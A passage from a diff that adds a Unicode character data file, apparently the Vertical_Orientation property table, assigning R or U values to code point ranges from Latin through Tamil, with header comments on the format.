+#         Anatolian Hieroglyphs:             U+14400..U+1467F
+#         Ideographic Symbols & Tangut:      U+16FE0..U+18AFF
+#         Kana Extended-A:                   U+1B100..U+1B12F
+#         Nushu:                             U+1B170..U+1B2FF
+#         Musical Symbols:                   U+1D000..U+1D1FF
+#         Symbols & Rods:                    U+1D300..U+1D37F
+#         Sutton SignWriting:                U+1D800..U+1DAAF
+#         Game Symbols:                      U+1F000..U+1F0FF
+#         Enclosed Symbols:                  U+1F100..U+1F2FF
+#         Symbols:                           U+1F680..U+1F7FF
+#         Symbols and Pictographs:           U+1F900..U+1F9FF
+#         Plane 2:                           U+20000..U+2FFFD
+#         Plane 3:                           U+30000..U+3FFFD
+#         Plane 15 PUA:                      U+F0000..U+FFFFD
+#         Plane 16 PUA:                     U+100000..U+10FFFD
+#
+#  - All other code points, assigned and unassigned, that are not listed
+#      explicitly in the data section of this file are given the value R.
+#
+# The comments following the number sign "#" list the General_Category
+# property value or the L& alias of the derived value LC, the Unicode
+# character name or names, and, in lines with ranges of code points,
+# the code point count in square brackets.
+#
+# @missing: 0000..10FFFF; R
+
+0000..001F     ; R  # Cc    [32] <control-0000>..<control-001F>
+0020           ; R  # Zs         SPACE
+0021..0023     ; R  # Po     [3] EXCLAMATION MARK..NUMBER SIGN
+0024           ; R  # Sc         DOLLAR SIGN
+0025..0027     ; R  # Po     [3] PERCENT SIGN..APOSTROPHE
+0028           ; R  # Ps         LEFT PARENTHESIS
+0029           ; R  # Pe         RIGHT PARENTHESIS
+002A           ; R  # Po         ASTERISK
+002B           ; R  # Sm         PLUS SIGN
+002C           ; R  # Po         COMMA
+002D           ; R  # Pd         HYPHEN-MINUS
+002E..002F     ; R  # Po     [2] FULL STOP..SOLIDUS
+0030..0039     ; R  # Nd    [10] DIGIT ZERO..DIGIT NINE
+003A..003B     ; R  # Po     [2] COLON..SEMICOLON
+003C..003E     ; R  # Sm     [3] LESS-THAN SIGN..GREATER-THAN SIGN
+003F..0040     ; R  # Po     [2] QUESTION MARK..COMMERCIAL AT
+0041..005A     ; R  # Lu    [26] LATIN CAPITAL LETTER A..LATIN CAPITAL LETTER Z
+005B           ; R  # Ps         LEFT SQUARE BRACKET
+005C           ; R  # Po         REVERSE SOLIDUS
+005D           ; R  # Pe         RIGHT SQUARE BRACKET
+005E           ; R  # Sk         CIRCUMFLEX ACCENT
+005F           ; R  # Pc         LOW LINE
+0060           ; R  # Sk         GRAVE ACCENT
+0061..007A     ; R  # Ll    [26] LATIN SMALL LETTER A..LATIN SMALL LETTER Z
+007B           ; R  # Ps         LEFT CURLY BRACKET
+007C           ; R  # Sm         VERTICAL LINE
+007D           ; R  # Pe         RIGHT CURLY BRACKET
+007E           ; R  # Sm         TILDE
+007F           ; R  # Cc         <control-007F>
+0080..009F     ; R  # Cc    [32] <control-0080>..<control-009F>
+00A0           ; R  # Zs         NO-BREAK SPACE
+00A1           ; R  # Po         INVERTED EXCLAMATION MARK
+00A2..00A5     ; R  # Sc     [4] CENT SIGN..YEN SIGN
+00A6           ; R  # So         BROKEN BAR
+00A7           ; U  # Po         SECTION SIGN
+00A8           ; R  # Sk         DIAERESIS
+00A9           ; U  # So         COPYRIGHT SIGN
+00AA           ; R  # Lo         FEMININE ORDINAL INDICATOR
+00AB           ; R  # Pi         LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
+00AC           ; R  # Sm         NOT SIGN
+00AD           ; R  # Cf         SOFT HYPHEN
+00AE           ; U  # So         REGISTERED SIGN
+00AF           ; R  # Sk         MACRON
+00B0           ; R  # So         DEGREE SIGN
+00B1           ; U  # Sm         PLUS-MINUS SIGN
+00B2..00B3     ; R  # No     [2] SUPERSCRIPT TWO..SUPERSCRIPT THREE
+00B4           ; R  # Sk         ACUTE ACCENT
+00B5           ; R  # Ll         MICRO SIGN
+00B6..00B7     ; R  # Po     [2] PILCROW SIGN..MIDDLE DOT
+00B8           ; R  # Sk         CEDILLA
+00B9           ; R  # No         SUPERSCRIPT ONE
+00BA           ; R  # Lo         MASCULINE ORDINAL INDICATOR
+00BB           ; R  # Pf         RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
+00BC..00BE     ; U  # No     [3] VULGAR FRACTION ONE QUARTER..VULGAR FRACTION THREE QUARTERS
+00BF           ; R  # Po         INVERTED QUESTION MARK
+00C0..00D6     ; R  # Lu    [23] LATIN CAPITAL LETTER A WITH GRAVE..LATIN CAPITAL LETTER O WITH DIAERESIS
+00D7           ; U  # Sm         MULTIPLICATION SIGN
+00D8..00F6     ; R  # L&    [31] LATIN CAPITAL LETTER O WITH STROKE..LATIN SMALL LETTER O WITH DIAERESIS
+00F7           ; U  # Sm         DIVISION SIGN
+00F8..00FF     ; R  # L&     [8] LATIN SMALL LETTER O WITH STROKE..LATIN SMALL LETTER Y WITH DIAERESIS
+0100..017F     ; R  # L&   [128] LATIN CAPITAL LETTER A WITH MACRON..LATIN SMALL LETTER LONG S
+0180..01BA     ; R  # L&    [59] LATIN SMALL LETTER B WITH STROKE..LATIN SMALL LETTER EZH WITH TAIL
+01BB           ; R  # Lo         LATIN LETTER TWO WITH STROKE
+01BC..01BF     ; R  # L&     [4] LATIN CAPITAL LETTER TONE FIVE..LATIN LETTER WYNN
+01C0..01C3     ; R  # Lo     [4] LATIN LETTER DENTAL CLICK..LATIN LETTER RETROFLEX CLICK
+01C4..024F     ; R  # L&   [140] LATIN CAPITAL LETTER DZ WITH CARON..LATIN SMALL LETTER Y WITH STROKE
+0250..0293     ; R  # Ll    [68] LATIN SMALL LETTER TURNED A..LATIN SMALL LETTER EZH WITH CURL
+0294           ; R  # Lo         LATIN LETTER GLOTTAL STOP
+0295..02AF     ; R  # Ll    [27] LATIN LETTER PHARYNGEAL VOICED FRICATIVE..LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL
+02B0..02C1     ; R  # Lm    [18] MODIFIER LETTER SMALL H..MODIFIER LETTER REVERSED GLOTTAL STOP
+02C2..02C5     ; R  # Sk     [4] MODIFIER LETTER LEFT ARROWHEAD..MODIFIER LETTER DOWN ARROWHEAD
+02C6..02D1     ; R  # Lm    [12] MODIFIER LETTER CIRCUMFLEX ACCENT..MODIFIER LETTER HALF TRIANGULAR COLON
+02D2..02DF     ; R  # Sk    [14] MODIFIER LETTER CENTRED RIGHT HALF RING..MODIFIER LETTER CROSS ACCENT
+02E0..02E4     ; R  # Lm     [5] MODIFIER LETTER SMALL GAMMA..MODIFIER LETTER SMALL REVERSED GLOTTAL STOP
+02E5..02E9     ; R  # Sk     [5] MODIFIER LETTER EXTRA-HIGH TONE BAR..MODIFIER LETTER EXTRA-LOW TONE BAR
+02EA..02EB     ; U  # Sk     [2] MODIFIER LETTER YIN DEPARTING TONE MARK..MODIFIER LETTER YANG DEPARTING TONE MARK
+02EC           ; R  # Lm         MODIFIER LETTER VOICING
+02ED           ; R  # Sk         MODIFIER LETTER UNASPIRATED
+02EE           ; R  # Lm         MODIFIER LETTER DOUBLE APOSTROPHE
+02EF..02FF     ; R  # Sk    [17] MODIFIER LETTER LOW DOWN ARROWHEAD..MODIFIER LETTER LOW LEFT ARROW
+0300..036F     ; R  # Mn   [112] COMBINING GRAVE ACCENT..COMBINING LATIN SMALL LETTER X
+0370..0373     ; R  # L&     [4] GREEK CAPITAL LETTER HETA..GREEK SMALL LETTER ARCHAIC SAMPI
+0374           ; R  # Lm         GREEK NUMERAL SIGN
+0375           ; R  # Sk         GREEK LOWER NUMERAL SIGN
+0376..0377     ; R  # L&     [2] GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA..GREEK SMALL LETTER PAMPHYLIAN DIGAMMA
+037A           ; R  # Lm         GREEK YPOGEGRAMMENI
+037B..037D     ; R  # Ll     [3] GREEK SMALL REVERSED LUNATE SIGMA SYMBOL..GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL
+037E           ; R  # Po         GREEK QUESTION MARK
+037F           ; R  # Lu         GREEK CAPITAL LETTER YOT
+0384..0385     ; R  # Sk     [2] GREEK TONOS..GREEK DIALYTIKA TONOS
+0386           ; R  # Lu         GREEK CAPITAL LETTER ALPHA WITH TONOS
+0387           ; R  # Po         GREEK ANO TELEIA
+0388..038A     ; R  # Lu     [3] GREEK CAPITAL LETTER EPSILON WITH TONOS..GREEK CAPITAL LETTER IOTA WITH TONOS
+038C           ; R  # Lu         GREEK CAPITAL LETTER OMICRON WITH TONOS
+038E..03A1     ; R  # L&    [20] GREEK CAPITAL LETTER UPSILON WITH TONOS..GREEK CAPITAL LETTER RHO
+03A3..03F5     ; R  # L&    [83] GREEK CAPITAL LETTER SIGMA..GREEK LUNATE EPSILON SYMBOL
+03F6           ; R  # Sm         GREEK REVERSED LUNATE EPSILON SYMBOL
+03F7..03FF     ; R  # L&     [9] GREEK CAPITAL LETTER SHO..GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL
+0400..0481     ; R  # L&   [130] CYRILLIC CAPITAL LETTER IE WITH GRAVE..CYRILLIC SMALL LETTER KOPPA
+0482           ; R  # So         CYRILLIC THOUSANDS SIGN
+0483..0487     ; R  # Mn     [5] COMBINING CYRILLIC TITLO..COMBINING CYRILLIC POKRYTIE
+0488..0489     ; R  # Me     [2] COMBINING CYRILLIC HUNDRED THOUSANDS SIGN..COMBINING CYRILLIC MILLIONS SIGN
+048A..04FF     ; R  # L&   [118] CYRILLIC CAPITAL LETTER SHORT I WITH TAIL..CYRILLIC SMALL LETTER HA WITH STROKE
+0500..052F     ; R  # L&    [48] CYRILLIC CAPITAL LETTER KOMI DE..CYRILLIC SMALL LETTER EL WITH DESCENDER
+0531..0556     ; R  # Lu    [38] ARMENIAN CAPITAL LETTER AYB..ARMENIAN CAPITAL LETTER FEH
+0559           ; R  # Lm         ARMENIAN MODIFIER LETTER LEFT HALF RING
+055A..055F     ; R  # Po     [6] ARMENIAN APOSTROPHE..ARMENIAN ABBREVIATION MARK
+0561..0587     ; R  # Ll    [39] ARMENIAN SMALL LETTER AYB..ARMENIAN SMALL LIGATURE ECH YIWN
+0589           ; R  # Po         ARMENIAN FULL STOP
+058A           ; R  # Pd         ARMENIAN HYPHEN
+058D..058E     ; R  # So     [2] RIGHT-FACING ARMENIAN ETERNITY SIGN..LEFT-FACING ARMENIAN ETERNITY SIGN
+058F           ; R  # Sc         ARMENIAN DRAM SIGN
+0591..05BD     ; R  # Mn    [45] HEBREW ACCENT ETNAHTA..HEBREW POINT METEG
+05BE           ; R  # Pd         HEBREW PUNCTUATION MAQAF
+05BF           ; R  # Mn         HEBREW POINT RAFE
+05C0           ; R  # Po         HEBREW PUNCTUATION PASEQ
+05C1..05C2     ; R  # Mn     [2] HEBREW POINT SHIN DOT..HEBREW POINT SIN DOT
+05C3           ; R  # Po         HEBREW PUNCTUATION SOF PASUQ
+05C4..05C5     ; R  # Mn     [2] HEBREW MARK UPPER DOT..HEBREW MARK LOWER DOT
+05C6           ; R  # Po         HEBREW PUNCTUATION NUN HAFUKHA
+05C7           ; R  # Mn         HEBREW POINT QAMATS QATAN
+05D0..05EA     ; R  # Lo    [27] HEBREW LETTER ALEF..HEBREW LETTER TAV
+05F0..05F2     ; R  # Lo     [3] HEBREW LIGATURE YIDDISH DOUBLE VAV..HEBREW LIGATURE YIDDISH DOUBLE YOD
+05F3..05F4     ; R  # Po     [2] HEBREW PUNCTUATION GERESH..HEBREW PUNCTUATION GERSHAYIM
+0600..0605     ; R  # Cf     [6] ARABIC NUMBER SIGN..ARABIC NUMBER MARK ABOVE
+0606..0608     ; R  # Sm     [3] ARABIC-INDIC CUBE ROOT..ARABIC RAY
+0609..060A     ; R  # Po     [2] ARABIC-INDIC PER MILLE SIGN..ARABIC-INDIC PER TEN THOUSAND SIGN
+060B           ; R  # Sc         AFGHANI SIGN
+060C..060D     ; R  # Po     [2] ARABIC COMMA..ARABIC DATE SEPARATOR
+060E..060F     ; R  # So     [2] ARABIC POETIC VERSE SIGN..ARABIC SIGN MISRA
+0610..061A     ; R  # Mn    [11] ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM..ARABIC SMALL KASRA
+061B           ; R  # Po         ARABIC SEMICOLON
+061C           ; R  # Cf         ARABIC LETTER MARK
+061E..061F     ; R  # Po     [2] ARABIC TRIPLE DOT PUNCTUATION MARK..ARABIC QUESTION MARK
+0620..063F     ; R  # Lo    [32] ARABIC LETTER KASHMIRI YEH..ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE
+0640           ; R  # Lm         ARABIC TATWEEL
+0641..064A     ; R  # Lo    [10] ARABIC LETTER FEH..ARABIC LETTER YEH
+064B..065F     ; R  # Mn    [21] ARABIC FATHATAN..ARABIC WAVY HAMZA BELOW
+0660..0669     ; R  # Nd    [10] ARABIC-INDIC DIGIT ZERO..ARABIC-INDIC DIGIT NINE
+066A..066D     ; R  # Po     [4] ARABIC PERCENT SIGN..ARABIC FIVE POINTED STAR
+066E..066F     ; R  # Lo     [2] ARABIC LETTER DOTLESS BEH..ARABIC LETTER DOTLESS QAF
+0670           ; R  # Mn         ARABIC LETTER SUPERSCRIPT ALEF
+0671..06D3     ; R  # Lo    [99] ARABIC LETTER ALEF WASLA..ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
+06D4           ; R  # Po         ARABIC FULL STOP
+06D5           ; R  # Lo         ARABIC LETTER AE
+06D6..06DC     ; R  # Mn     [7] ARABIC SMALL HIGH LIGATURE SAD WITH LAM WITH ALEF MAKSURA..ARABIC SMALL HIGH SEEN
+06DD           ; R  # Cf         ARABIC END OF AYAH
+06DE           ; R  # So         ARABIC START OF RUB EL HIZB
+06DF..06E4     ; R  # Mn     [6] ARABIC SMALL HIGH ROUNDED ZERO..ARABIC SMALL HIGH MADDA
+06E5..06E6     ; R  # Lm     [2] ARABIC SMALL WAW..ARABIC SMALL YEH
+06E7..06E8     ; R  # Mn     [2] ARABIC SMALL HIGH YEH..ARABIC SMALL HIGH NOON
+06E9           ; R  # So         ARABIC PLACE OF SAJDAH
+06EA..06ED     ; R  # Mn     [4] ARABIC EMPTY CENTRE LOW STOP..ARABIC SMALL LOW MEEM
+06EE..06EF     ; R  # Lo     [2] ARABIC LETTER DAL WITH INVERTED V..ARABIC LETTER REH WITH INVERTED V
+06F0..06F9     ; R  # Nd    [10] EXTENDED ARABIC-INDIC DIGIT ZERO..EXTENDED ARABIC-INDIC DIGIT NINE
+06FA..06FC     ; R  # Lo     [3] ARABIC LETTER SHEEN WITH DOT BELOW..ARABIC LETTER GHAIN WITH DOT BELOW
+06FD..06FE     ; R  # So     [2] ARABIC SIGN SINDHI AMPERSAND..ARABIC SIGN SINDHI POSTPOSITION MEN
+06FF           ; R  # Lo         ARABIC LETTER HEH WITH INVERTED V
+0700..070D     ; R  # Po    [14] SYRIAC END OF PARAGRAPH..SYRIAC HARKLEAN ASTERISCUS
+070F           ; R  # Cf         SYRIAC ABBREVIATION MARK
+0710           ; R  # Lo         SYRIAC LETTER ALAPH
+0711           ; R  # Mn         SYRIAC LETTER SUPERSCRIPT ALAPH
+0712..072F     ; R  # Lo    [30] SYRIAC LETTER BETH..SYRIAC LETTER PERSIAN DHALATH
+0730..074A     ; R  # Mn    [27] SYRIAC PTHAHA ABOVE..SYRIAC BARREKH
+074D..074F     ; R  # Lo     [3] SYRIAC LETTER SOGDIAN ZHAIN..SYRIAC LETTER SOGDIAN FE
+0750..077F     ; R  # Lo    [48] ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW..ARABIC LETTER KAF WITH TWO DOTS ABOVE
+0780..07A5     ; R  # Lo    [38] THAANA LETTER HAA..THAANA LETTER WAAVU
+07A6..07B0     ; R  # Mn    [11] THAANA ABAFILI..THAANA SUKUN
+07B1           ; R  # Lo         THAANA LETTER NAA
+07C0..07C9     ; R  # Nd    [10] NKO DIGIT ZERO..NKO DIGIT NINE
+07CA..07EA     ; R  # Lo    [33] NKO LETTER A..NKO LETTER JONA RA
+07EB..07F3     ; R  # Mn     [9] NKO COMBINING SHORT HIGH TONE..NKO COMBINING DOUBLE DOT ABOVE
+07F4..07F5     ; R  # Lm     [2] NKO HIGH TONE APOSTROPHE..NKO LOW TONE APOSTROPHE
+07F6           ; R  # So         NKO SYMBOL OO DENNEN
+07F7..07F9     ; R  # Po     [3] NKO SYMBOL GBAKURUNEN..NKO EXCLAMATION MARK
+07FA           ; R  # Lm         NKO LAJANYALAN
+0800..0815     ; R  # Lo    [22] SAMARITAN LETTER ALAF..SAMARITAN LETTER TAAF
+0816..0819     ; R  # Mn     [4] SAMARITAN MARK IN..SAMARITAN MARK DAGESH
+081A           ; R  # Lm         SAMARITAN MODIFIER LETTER EPENTHETIC YUT
+081B..0823     ; R  # Mn     [9] SAMARITAN MARK EPENTHETIC YUT..SAMARITAN VOWEL SIGN A
+0824           ; R  # Lm         SAMARITAN MODIFIER LETTER SHORT A
+0825..0827     ; R  # Mn     [3] SAMARITAN VOWEL SIGN SHORT A..SAMARITAN VOWEL SIGN U
+0828           ; R  # Lm         SAMARITAN MODIFIER LETTER I
+0829..082D     ; R  # Mn     [5] SAMARITAN VOWEL SIGN LONG I..SAMARITAN MARK NEQUDAA
+0830..083E     ; R  # Po    [15] SAMARITAN PUNCTUATION NEQUDAA..SAMARITAN PUNCTUATION ANNAAU
+0840..0858     ; R  # Lo    [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
+0859..085B     ; R  # Mn     [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK
+085E           ; R  # Po         MANDAIC PUNCTUATION
+0860..086A     ; R  # Lo    [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
+08A0..08B4     ; R  # Lo    [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
+08B6..08BD     ; R  # Lo     [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
+08D4..08E1     ; R  # Mn    [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA
+08E2           ; R  # Cf         ARABIC DISPUTED END OF AYAH
+08E3..08FF     ; R  # Mn    [29] ARABIC TURNED DAMMA BELOW..ARABIC MARK SIDEWAYS NOON GHUNNA
+0900..0902     ; R  # Mn     [3] DEVANAGARI SIGN INVERTED CANDRABINDU..DEVANAGARI SIGN ANUSVARA
+0903           ; R  # Mc         DEVANAGARI SIGN VISARGA
+0904..0939     ; R  # Lo    [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA
+093A           ; R  # Mn         DEVANAGARI VOWEL SIGN OE
+093B           ; R  # Mc         DEVANAGARI VOWEL SIGN OOE
+093C           ; R  # Mn         DEVANAGARI SIGN NUKTA
+093D           ; R  # Lo         DEVANAGARI SIGN AVAGRAHA
+093E..0940     ; R  # Mc     [3] DEVANAGARI VOWEL SIGN AA..DEVANAGARI VOWEL SIGN II
+0941..0948     ; R  # Mn     [8] DEVANAGARI VOWEL SIGN U..DEVANAGARI VOWEL SIGN AI
+0949..094C     ; R  # Mc     [4] DEVANAGARI VOWEL SIGN CANDRA O..DEVANAGARI VOWEL SIGN AU
+094D           ; R  # Mn         DEVANAGARI SIGN VIRAMA
+094E..094F     ; R  # Mc     [2] DEVANAGARI VOWEL SIGN PRISHTHAMATRA E..DEVANAGARI VOWEL SIGN AW
+0950           ; R  # Lo         DEVANAGARI OM
+0951..0957     ; R  # Mn     [7] DEVANAGARI STRESS SIGN UDATTA..DEVANAGARI VOWEL SIGN UUE
+0958..0961     ; R  # Lo    [10] DEVANAGARI LETTER QA..DEVANAGARI LETTER VOCALIC LL
+0962..0963     ; R  # Mn     [2] DEVANAGARI VOWEL SIGN VOCALIC L..DEVANAGARI VOWEL SIGN VOCALIC LL
+0964..0965     ; R  # Po     [2] DEVANAGARI DANDA..DEVANAGARI DOUBLE DANDA
+0966..096F     ; R  # Nd    [10] DEVANAGARI DIGIT ZERO..DEVANAGARI DIGIT NINE
+0970           ; R  # Po         DEVANAGARI ABBREVIATION SIGN
+0971           ; R  # Lm         DEVANAGARI SIGN HIGH SPACING DOT
+0972..097F     ; R  # Lo    [14] DEVANAGARI LETTER CANDRA A..DEVANAGARI LETTER BBA
+0980           ; R  # Lo         BENGALI ANJI
+0981           ; R  # Mn         BENGALI SIGN CANDRABINDU
+0982..0983     ; R  # Mc     [2] BENGALI SIGN ANUSVARA..BENGALI SIGN VISARGA
+0985..098C     ; R  # Lo     [8] BENGALI LETTER A..BENGALI LETTER VOCALIC L
+098F..0990     ; R  # Lo     [2] BENGALI LETTER E..BENGALI LETTER AI
+0993..09A8     ; R  # Lo    [22] BENGALI LETTER O..BENGALI LETTER NA
+09AA..09B0     ; R  # Lo     [7] BENGALI LETTER PA..BENGALI LETTER RA
+09B2           ; R  # Lo         BENGALI LETTER LA
+09B6..09B9     ; R  # Lo     [4] BENGALI LETTER SHA..BENGALI LETTER HA
+09BC           ; R  # Mn         BENGALI SIGN NUKTA
+09BD           ; R  # Lo         BENGALI SIGN AVAGRAHA
+09BE..09C0     ; R  # Mc     [3] BENGALI VOWEL SIGN AA..BENGALI VOWEL SIGN II
+09C1..09C4     ; R  # Mn     [4] BENGALI VOWEL SIGN U..BENGALI VOWEL SIGN VOCALIC RR
+09C7..09C8     ; R  # Mc     [2] BENGALI VOWEL SIGN E..BENGALI VOWEL SIGN AI
+09CB..09CC     ; R  # Mc     [2] BENGALI VOWEL SIGN O..BENGALI VOWEL SIGN AU
+09CD           ; R  # Mn         BENGALI SIGN VIRAMA
+09CE           ; R  # Lo         BENGALI LETTER KHANDA TA
+09D7           ; R  # Mc         BENGALI AU LENGTH MARK
+09DC..09DD     ; R  # Lo     [2] BENGALI LETTER RRA..BENGALI LETTER RHA
+09DF..09E1     ; R  # Lo     [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL
+09E2..09E3     ; R  # Mn     [2] BENGALI VOWEL SIGN VOCALIC L..BENGALI VOWEL SIGN VOCALIC LL
+09E6..09EF     ; R  # Nd    [10] BENGALI DIGIT ZERO..BENGALI DIGIT NINE
+09F0..09F1     ; R  # Lo     [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09F2..09F3     ; R  # Sc     [2] BENGALI RUPEE MARK..BENGALI RUPEE SIGN
+09F4..09F9     ; R  # No     [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN
+09FA           ; R  # So         BENGALI ISSHAR
+09FB           ; R  # Sc         BENGALI GANDA MARK
+09FC           ; R  # Lo         BENGALI LETTER VEDIC ANUSVARA
+09FD           ; R  # Po         BENGALI ABBREVIATION SIGN
+0A01..0A02     ; R  # Mn     [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
+0A03           ; R  # Mc         GURMUKHI SIGN VISARGA
+0A05..0A0A     ; R  # Lo     [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
+0A0F..0A10     ; R  # Lo     [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
+0A13..0A28     ; R  # Lo    [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA
+0A2A..0A30     ; R  # Lo     [7] GURMUKHI LETTER PA..GURMUKHI LETTER RA
+0A32..0A33     ; R  # Lo     [2] GURMUKHI LETTER LA..GURMUKHI LETTER LLA
+0A35..0A36     ; R  # Lo     [2] GURMUKHI LETTER VA..GURMUKHI LETTER SHA
+0A38..0A39     ; R  # Lo     [2] GURMUKHI LETTER SA..GURMUKHI LETTER HA
+0A3C           ; R  # Mn         GURMUKHI SIGN NUKTA
+0A3E..0A40     ; R  # Mc     [3] GURMUKHI VOWEL SIGN AA..GURMUKHI VOWEL SIGN II
+0A41..0A42     ; R  # Mn     [2] GURMUKHI VOWEL SIGN U..GURMUKHI VOWEL SIGN UU
+0A47..0A48     ; R  # Mn     [2] GURMUKHI VOWEL SIGN EE..GURMUKHI VOWEL SIGN AI
+0A4B..0A4D     ; R  # Mn     [3] GURMUKHI VOWEL SIGN OO..GURMUKHI SIGN VIRAMA
+0A51           ; R  # Mn         GURMUKHI SIGN UDAAT
+0A59..0A5C     ; R  # Lo     [4] GURMUKHI LETTER KHHA..GURMUKHI LETTER RRA
+0A5E           ; R  # Lo         GURMUKHI LETTER FA
+0A66..0A6F     ; R  # Nd    [10] GURMUKHI DIGIT ZERO..GURMUKHI DIGIT NINE
+0A70..0A71     ; R  # Mn     [2] GURMUKHI TIPPI..GURMUKHI ADDAK
+0A72..0A74     ; R  # Lo     [3] GURMUKHI IRI..GURMUKHI EK ONKAR
+0A75           ; R  # Mn         GURMUKHI SIGN YAKASH
+0A81..0A82     ; R  # Mn     [2] GUJARATI SIGN CANDRABINDU..GUJARATI SIGN ANUSVARA
+0A83           ; R  # Mc         GUJARATI SIGN VISARGA
+0A85..0A8D     ; R  # Lo     [9] GUJARATI LETTER A..GUJARATI VOWEL CANDRA E
+0A8F..0A91     ; R  # Lo     [3] GUJARATI LETTER E..GUJARATI VOWEL CANDRA O
+0A93..0AA8     ; R  # Lo    [22] GUJARATI LETTER O..GUJARATI LETTER NA
+0AAA..0AB0     ; R  # Lo     [7] GUJARATI LETTER PA..GUJARATI LETTER RA
+0AB2..0AB3     ; R  # Lo     [2] GUJARATI LETTER LA..GUJARATI LETTER LLA
+0AB5..0AB9     ; R  # Lo     [5] GUJARATI LETTER VA..GUJARATI LETTER HA
+0ABC           ; R  # Mn         GUJARATI SIGN NUKTA
+0ABD           ; R  # Lo         GUJARATI SIGN AVAGRAHA
+0ABE..0AC0     ; R  # Mc     [3] GUJARATI VOWEL SIGN AA..GUJARATI VOWEL SIGN II
+0AC1..0AC5     ; R  # Mn     [5] GUJARATI VOWEL SIGN U..GUJARATI VOWEL SIGN CANDRA E
+0AC7..0AC8     ; R  # Mn     [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
+0AC9           ; R  # Mc         GUJARATI VOWEL SIGN CANDRA O
+0ACB..0ACC     ; R  # Mc     [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU
+0ACD           ; R  # Mn         GUJARATI SIGN VIRAMA
+0AD0           ; R  # Lo         GUJARATI OM
+0AE0..0AE1     ; R  # Lo     [2] GUJARATI LETTER VOCALIC RR..GUJARATI LETTER VOCALIC LL
+0AE2..0AE3     ; R  # Mn     [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AE6..0AEF     ; R  # Nd    [10] GUJARATI DIGIT ZERO..GUJARATI DIGIT NINE
+0AF0           ; R  # Po         GUJARATI ABBREVIATION SIGN
+0AF1           ; R  # Sc         GUJARATI RUPEE SIGN
+0AF9           ; R  # Lo         GUJARATI LETTER ZHA
+0AFA..0AFF     ; R  # Mn     [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
+0B01           ; R  # Mn         ORIYA SIGN CANDRABINDU
+0B02..0B03     ; R  # Mc     [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
+0B05..0B0C     ; R  # Lo     [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L
+0B0F..0B10     ; R  # Lo     [2] ORIYA LETTER E..ORIYA LETTER AI
+0B13..0B28     ; R  # Lo    [22] ORIYA LETTER O..ORIYA LETTER NA
+0B2A..0B30     ; R  # Lo     [7] ORIYA LETTER PA..ORIYA LETTER RA
+0B32..0B33     ; R  # Lo     [2] ORIYA LETTER LA..ORIYA LETTER LLA
+0B35..0B39     ; R  # Lo     [5] ORIYA LETTER VA..ORIYA LETTER HA
+0B3C           ; R  # Mn         ORIYA SIGN NUKTA
+0B3D           ; R  # Lo         ORIYA SIGN AVAGRAHA
+0B3E           ; R  # Mc         ORIYA VOWEL SIGN AA
+0B3F           ; R  # Mn         ORIYA VOWEL SIGN I
+0B40           ; R  # Mc         ORIYA VOWEL SIGN II
+0B41..0B44     ; R  # Mn     [4] ORIYA VOWEL SIGN U..ORIYA VOWEL SIGN VOCALIC RR
+0B47..0B48     ; R  # Mc     [2] ORIYA VOWEL SIGN E..ORIYA VOWEL SIGN AI
+0B4B..0B4C     ; R  # Mc     [2] ORIYA VOWEL SIGN O..ORIYA VOWEL SIGN AU
+0B4D           ; R  # Mn         ORIYA SIGN VIRAMA
+0B56           ; R  # Mn         ORIYA AI LENGTH MARK
+0B57           ; R  # Mc         ORIYA AU LENGTH MARK
+0B5C..0B5D     ; R  # Lo     [2] ORIYA LETTER RRA..ORIYA LETTER RHA
+0B5F..0B61     ; R  # Lo     [3] ORIYA LETTER YYA..ORIYA LETTER VOCALIC LL
+0B62..0B63     ; R  # Mn     [2] ORIYA VOWEL SIGN VOCALIC L..ORIYA VOWEL SIGN VOCALIC LL
+0B66..0B6F     ; R  # Nd    [10] ORIYA DIGIT ZERO..ORIYA DIGIT NINE
+0B70           ; R  # So         ORIYA ISSHAR
+0B71           ; R  # Lo         ORIYA LETTER WA
+0B72..0B77     ; R  # No     [6] ORIYA FRACTION ONE QUARTER..ORIYA FRACTION THREE SIXTEENTHS
+0B82           ; R  # Mn         TAMIL SIGN ANUSVARA
+0B83           ; R  # Lo         TAMIL SIGN VISARGA
+0B85..0B8A     ; R  # Lo     [6] TAMIL LETTER A..TAMIL LETTER UU
+0B8E..0B90     ; R  # Lo     [3] TAMIL LETTER E..TAMIL LETTER AI
+0B92..0B95     ; R  # Lo     [4] TAMIL LETTER O..TAMIL LETTER KA
+0B99..0B9A     ; R  # Lo     [2] TAMIL LETTER NGA..TAMIL LETTER CA
+0B9C           ; R  # Lo         TAMIL LETTER JA
